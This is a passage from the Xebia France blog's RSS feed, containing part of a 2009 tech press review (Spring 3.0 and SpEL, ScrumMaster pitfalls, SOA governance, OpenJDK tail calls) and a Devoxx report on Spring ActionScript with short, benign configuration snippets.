src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> comme vous préférez !</p><p>Plus sérieusement, c&#8217;est un pas important pour cette version de Spring qui est maintenant compatible Java EE 6.</p><p>De plus, Spring supporte plusieurs standards :</p><ul><li>JSR-250 @ManagedBean, annotation permettant de scanner les composants annotés et ainsi injecter des ressources, gérer les intercepteurs et callbacks attachés</li><li><a
href="http://jcp.org/en/jsr/detail?id=303" title="JSR303 pour la validation du modle par annotation" >JSR-303 pour la validation du modèle par annotation</a></li><li>JSR-330 <a
href="http://blog.xebia.fr/2009/05/11/inject-standardisation-de-linjection-de-dependances/" title="Inject standardisation de linjection de dpendances par annotation" >@Inject standardisation de l&#8217;injection de dépendances par annotation</a></li></ul><p><a
href="http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/new-in-3.html" title="Il y a de nombreuses nouveauts" >Il y a de nombreuses nouveautés</a>, en voici un panel :</p><ul><li>Spring Expression Language (SpEL) (inspiré de Seam) est un langage EL (Expression Language) étendu comme on peut le trouver dans nos chères JSP.</li><li>Enrichissement des annotations, ce qui devrait calmer les détracteurs de Spring qui reprochaient la surconfiguration XML</li><li>Support REST (client et serveur) dans Spring MVC</li><li>etc &#8230;</li></ul><p>Voici un exemple intéressant des capacités de SpEL, dans le fichier de configuration XML de Spring :</p><pre class="brush: java; title: ; notranslate">
&lt;bean class=&quot;mycompany.RewardsTestDatabase&quot;&gt;
    &lt;property name=&quot;databaseName&quot; value=&quot;#{systemProperties.databaseName}&quot;/&gt;
    &lt;property name=&quot;keyGenerator&quot; value=&quot;#{strategyBean.databaseKeyGenerator}&quot;/&gt;
&lt;/bean&gt;
</pre><p>ou en java :</p><pre class="brush: java; title: ; notranslate">
@Repository
public class RewardsTestDatabase {
@Value(&quot;#{systemProperties.databaseName}&quot;)
public void setDatabaseName(String dbName) { ... }
@Value(&quot;#{strategyBean.databaseKeyGenerator}&quot;)
public void setKeyGenerator(KeyGenerator kg) { ... }
}
</pre><p>Autre élément important, Spring ne supporte plus Java 1.4. En effet Spring couvre les environnements Java 1.5 et 1.6 et Servlet 2.4 et plus, soit Tomcat 5.x et 6.x, ainsi que WebSphere 6.1 et WebLogic 9.2 (qui sont officiellement toujours basés sur J2EE 1.4).</p><p>Donc en résumé rien de révolutionnaire, mais il y a quand même beaucoup de nouveautés qui méritent un coup d&#8217;oeil. <a
href="http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/" title="Nhsitez pas  lire la documentation officielle de Spring pour toutes les dcouvrir " >N&#8217;hésitez pas à lire la documentation officielle de Spring pour toutes les découvrir </a>.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="QuandleScrumMasterestunobsctac"></a>Quand le ScrumMaster est un obsctacle</h4><p>Cette semaine, Vikas Hazrati, un de nos collègues indiens, nous gratifie (sur InfoQ) <a
href="http://www.infoq.com/news/2009/12/scrummaster-the-impediment" title="dun article dlicieusement subversif" >d&#8217;un article délicieusement subversif</a> : et si le Scrum Master était un <em>obstacle</em> &#8211; un <em>impediment</em> pour utiliser un anglicisme barbare &#8211; majeur.<br
/> Reprenant plusieurs fils de discussions, InfoQ distingue trois types de ScrumMaster <em>problématiques</em> :</p><ul><li>Le ScrumMaster développeur : il agit comme un membre de l&#8217;équipe de développement, s&#8217;implique fortement dans la réalisation du backlog. L&#8217;équipe devient alors spectatrice de l&#8217;avancée du projet.</li><li>Le ScrumMaster chef de projet : il dirige les travaux de l&#8217;équipe, qui devient totalement dépendante de ses consignes.</li><li>Le ScrumMaster tampon : il gère toutes les communications entre les développeurs et les products owners et / ou clients. Il devient rapidement un goulot d&#8217;étranglement. C&#8217;est un cas fréquent dans les projets Scrum distribués.</li></ul><p>D&#8217;autres mauvaises habitudes se dégagent de ces discussions :</p><ul><li>le manque d&#8217;anticipation : le ScrumMaster tient le journal des difficultés rencontrées, et même si il les lève, il ne fait rien pour les anticiper.</li><li>l&#8217;expertise à tout prix : le ScrumMaster s&#8217;implique dans toutes les tâches délicates et l&#8217;équipe devient dépendante de son aide. Rapidement, il est contraint par un manque de temps et devient un obstacle à la réalisation du sprint.</li><li>toucher à tout, et oublier son rôle : le ScrumMaster est majoritairement là pour aider l&#8217;équipe à avancer dans la réalisation des sprints. Toute tâche annexe à celle ci est consommatrice de temps et empêche l&#8217;accomplissement de sa mission principale.</li></ul><p>Malgré toutes ces analyses pertinentes, si nous ne devions en conserver qu&#8217;une, ce serait celle de <a
href="http://agileanarchy.wordpress.com/" title="Tobias Mayer" >Tobias Mayer</a> : donner à quelqu&#8217;un le titre de ScrumMaster ne suffit pas à ce qu&#8217;il en devienne un.</p><h4><a
name="KanbanouScrumKanbanetScrum"></a>Kanban ou Scrum ? Kanban et Scrum !</h4><p><a
href="http://www.infoq.com/" title="InfoQ" >InfoQ</a> nous propose en téléchargement gratuit le livre <a
href="http://www.infoq.com/minibooks/kanban-scrum-minibook" title="Kanban et Scrum  making the most of both" >Kanban et Scrum &#8211; making the most of both</a> par Henrik Kinberg et Mattias Skarin.<br
/> L&#8217;objectif du livre est que vous puissiez comprendre <em>(si ce n&#8217;est pas déjà fait)</em> comment Kanban et Scrum pourraient être utiles dans votre environnement.<br
/> La première partie se consacre à une brève description de Kanban et Scrum <em>(rôles, itérations&#8230;)</em>. Ils sont ensuite comparer directement mais aussi comparer à d&#8217;autres méthodes agiles. La deuxième partie est une étude de cas avec des questions, des réponses et beaucoup d&#8217;exemples : pourquoi changer ? Par où commencer ? Démarrage des équipes ? Comment estimer ? etc&#8230;<br
/> Pour la version papier, cela se passe par <a
href="http://www.lulu.com/content/7731694" title="ici" >ici</a>.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="Gouvernanceimpliciteetexplicit"></a>Gouvernance implicite et explicite dans une SOA</h4><p>Andrej Koelewijn <a
href="http://www.andrejkoelewijn.com/wp/2009/12/15/soa-governance-implicit-or-explicit/" title="ouvre cette semaine une discussion" >ouvre cette semaine une discussion</a> intéressante sur la gouvernance dans une SOA. Il commence par expliquer le rôle incontournable qu&#8217;à la gouvernance dans le cadre de l&#8217;évolution correcte des services. Puis il explique qu&#8217;il y a, selon lui, deux manières d&#8217;aborder cette gouvernance, toutes deux étant idéalement appliquées conjointement :</p><ul><li>La gouvernance explicite est celle dont il est en général question, il s&#8217;agit d&#8217;une personne ou d&#8217;un groupe de personnes en charge de s&#8217;assurer de la cohérence des services exposés dans la SOA au fil du temps. Ils ont alors le pouvoir de contraindre les équipes projets à se conformer aux règles définies en cas d&#8217;écart.</li><li>La gouvernance implicite ne passe pas par le contrôle effectué par une équipe ou une personne tierce mais par des choix architecturaux contraignant ou tendant à diriger naturellement vers les choix idéaux.</li></ul><p>A titre d&#8217;exemple il cite ainsi l&#8217;affectation d&#8217;une base de données propre à chaque service de bas niveau, afin d&#8217;assurer un partitionnement fonctionnel strict ; des services de plus haut niveau peuvent alors couvrir plusieurs domaines fonctionnels en procédant par agrégation. Toujours dans le but d&#8217;assurer ce découpage propre, il suggère la mise en place d&#8217;équipes en charge de fonctionnalités, qui seront amenées à développer des services de haut niveau, collaborant avec des équipes en charge de services de bas niveau, qui, elles, font évoluer les services dont elles ont la charge aux fur et à mesure que les besoins sont exprimés.</p><p>Ces suggestions, imprégnées par l&#8217;expérience pratique, sont dans l&#8217;alignement des présentations actuelles sur SOA telles que <a
href="http://blog.xebia.fr/2009/11/23/devoxx-jour-2-soa-en-pratique/" title="celle de Nicolai Josuttis  Devoxx 09" >celle de Nicolai Josuttis à Devoxx 09</a>, dans lesquelles SOA y apparaît comme ayant dépassé le <em>hype</em> pour atteindre la maturité.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="LesoptimisationssesuccdentsurO"></a>Les optimisations se succèdent sur OpenJDK 7</h4><p>Rémi Forax <a
href="http://weblogs.java.net/blog/forax/archive/2009/12/18/tailcall-anyone" title="discute sur son blog" >discute sur son blog</a> de l&#8217;arrivée d&#8217;une nouvelle optimisation majeure au sein d&#8217;OpenJDK 7 : l&#8217;optimisation des <a
href="http://en.wikipedia.org/wiki/Tail_call" title="<em>tail calls</em>&nbsp;&raquo; ><em>tail calls</em></a>. Cette apparition fait suite à <a
href="http://blog.xebia.fr/2009/10/12/revue-de-presse-xebia-129/#LesoptimisationsduJDKuactivesp" title="lajout rcent" >l&#8217;ajout récent</a> de l&#8217;<em>escape analysis</em> et de la compression de pointeurs.</p><p>Un <em>tail call</em> est une invocation positionnée en fin de <em>bytecode</em> d&#8217;une méthode, juste avant un <code>return</code>. En pratique, pour le développeur Java, il s&#8217;agit d&#8217;une ligne du type <code>return m(data)</code>, où la valeur retournée est fonction d&#8217;une méthode tierce.</p><p>Lors de l&#8217;invocation d&#8217;une méthode, outre le saut de code nécessaire, la JVM doit également recréer un <em>stackframe</em> pour la nouvelle méthode en y copiant ses arguments. L&#8217;optimisation des <em>tail calls</em> consiste alors à supprimer cette opération sur la <em>stack</em> en réduisant l&#8217;invocation à un simple saut dans le code. Dans la mesure où cette simplification nécessite tout de même certaines précautions, une instruction de <em>bytecode</em> doit marquer l&#8217;invocation optimisée en tant que <em>tail call</em> auprès de la JVM.</p><p>Dans certaines applications présentant un grand nombre d&#8217;invocations de ce type, un gain de performance pourra apparaître lorsque cette optimisation sera activée. Celle-ci s&#8217;inscrit ainsi dans la continuité d&#8217;une <a
href="http://www.devoxx.com/display/DV09/Towards+A+Universal+VM">présentation que Brian Goetz avait donnée</a> lors de Devoxx 09 où il expliquait qu&#8217;un très grand nombre d&#8217;optimisations élaborées étaient effectuées par la JVM afin de réduire, ou de supprimer, le surcoût lié aux constructions courantes des langages objets.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Devoxx &#8211; Jour 3 &#8211; Spring Actionscript</title><link>http://blog.xebia.fr/2009/11/24/devoxx-jour-3-spring-actionscript/</link> <comments>http://blog.xebia.fr/2009/11/24/devoxx-jour-3-spring-actionscript/#comments</comments> <pubDate>Tue, 24 Nov 2009 10:10:32 +0000</pubDate> <dc:creator>Ellène Dijoux</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[ActionScript]]></category> <category><![CDATA[Devoxx]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3303</guid> <description><![CDATA[Spring ActionScript est un framework Spring permettant de faire de l&#8217;inversion de contrôle en ActionScript. Ce framework connu initialement sous le nom de Prana Framework est actuellement en incubation chez Spring. Devoxx fut l&#8217;occasion pour Christophe Herreman, initiateur du projet, de nous le présenter. &#160; &#160; Définition du contexte d&#8217;application Comme en Java, il faut [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/speaker-spring-as-150x150.jpg" border="0" alt="" style="margin: 1em 1em 1em 1em; float: right;" /></p><p><a
href="http://www.springsource.org/extensions/se-springactionscript-as" title="Spring ActionScript" >Spring ActionScript</a> est un framework Spring permettant de faire de l&#8217;inversion de contrôle en ActionScript. Ce framework connu initialement sous le nom de Prana Framework est actuellement <a
href="http://www.springsource.org/extensions/lifecycle" title="en incubation" >en incubation</a> chez Spring. Devoxx fut l&#8217;occasion pour <a
href="http://www.herrodius.com" title="Christophe Herreman" >Christophe Herreman</a>, initiateur du projet, de nous le présenter.</p><p>&nbsp;<br
/> <br
/>&nbsp;</p><h3><a
name="Dfinitionducontextedapplicatio"></a>Définition du contexte d&#8217;application</h3><p>Comme en Java, il faut définir le contexte d&#8217;application. A la différence de Java, deux solutions sont possibles : le XML et le MXML.<br
/> Ces deux façons de configurer ont leurs avantages et leurs inconvénients :</p><ul><li>XML : il n&#8217;est pas utile de recompiler à chaque modification de ce fichier mais aucune erreur ne sera détectée si la configuration est mauvaise.</li><li>MXML : la recompilation est nécessaire en cas de modification du fichier mais le compilateur pourra avertir des erreurs dans la configuration.</li></ul><p>Il est également possible de configurer le contexte d&#8217;application pour appeler directement un objet à distance.</p><h3><a
name="LarchitectureMVC"></a>L&#8217;architecture MVC</h3><p>Cette architecture sera disponible dans la version 0.9 <em>(Spring ActionScript est actuellement en version 0.8)</em>.<br
/> Le but de Spring ActionScript est de remplacer ou d&#8217;intégrer les différents frameworks MVC existants (Cairngorm, PureMVC, Mate,&nbsp;&#8230;).  Dans la nouvelle version, pour créer son propre MVC avec Spring Actionscript, il faut :</p><ul><li>L&#8217;API Operation</li><li>Event Bus</li><li>Autowiring</li></ul><h4><a
name="LAPIOperation"></a>L&#8217;API Operation</h4><p>Face aux comportements asynchrones du Flash Payer et au nombre d&#8217;API disponibles pour ces appels , Spring ActionScript fournit une interface <code>IOperation</code>. Il a fallu rendre ces appels uniformes pour les injections de dépendances. Dans cette API, vous pourrez retrouver, par exemple, la classe <code>ProgressOperation</code> permettant de suivre la progression de l&#8217;appel asynchrone.</p><h4><a
name="EventBus"></a>EventBus</h4><p>Il permet de centraliser les évènements et de les dispatcher. Il correspond au contrôleur du modèle MVC. EventBus fonctionne avec les évènements standards Flash.<br
/> Voici un exemple de dispatching d&#8217;évènement :</p><pre class="brush: java; title: ; notranslate">
EventBus.dispatchEvent(new Event(&quot;monEvenement&quot;));
</pre><h4><a
name="Autowiring"></a>Autowiring</h4><p>Avec l&#8217;autowiring <em>(remplissage automatique en français)</em> il est possible de configurer les dépendances grâce au tag Metadata. Spring va ensuite explorer les tags et réaliser l&#8217;injection de dépendances. L&#8217;autowiring va donc, pour résumer, gérer les dépendances. Il peut également fonctionner avec d&#8217;autres frameworks comme Cairngorm par exemple.<br
/> Un exemple d&#8217;autowiring :</p><pre class="brush: java; title: ; notranslate">
[Autowired(name=&quot;myObject&quot;, property=&quot;prop&quot;)]
</pre><h3><a
name="Conclusion"></a>Conclusion</h3><p>Ce nouveau framework tente de faire sa place parmi les frameworks ActionScript déjà existants. En incubation pour le moment, la nouvelle version propose des fonctionnalités qui permettent de faciliter la structuration de la couche présentation. Face à la lourdeur du code à fournir pour mettre en place Cairngorm, il pourrait avoir des chances de séduire la communauté.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/11/24/devoxx-jour-3-spring-actionscript/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> </channel> </rss>
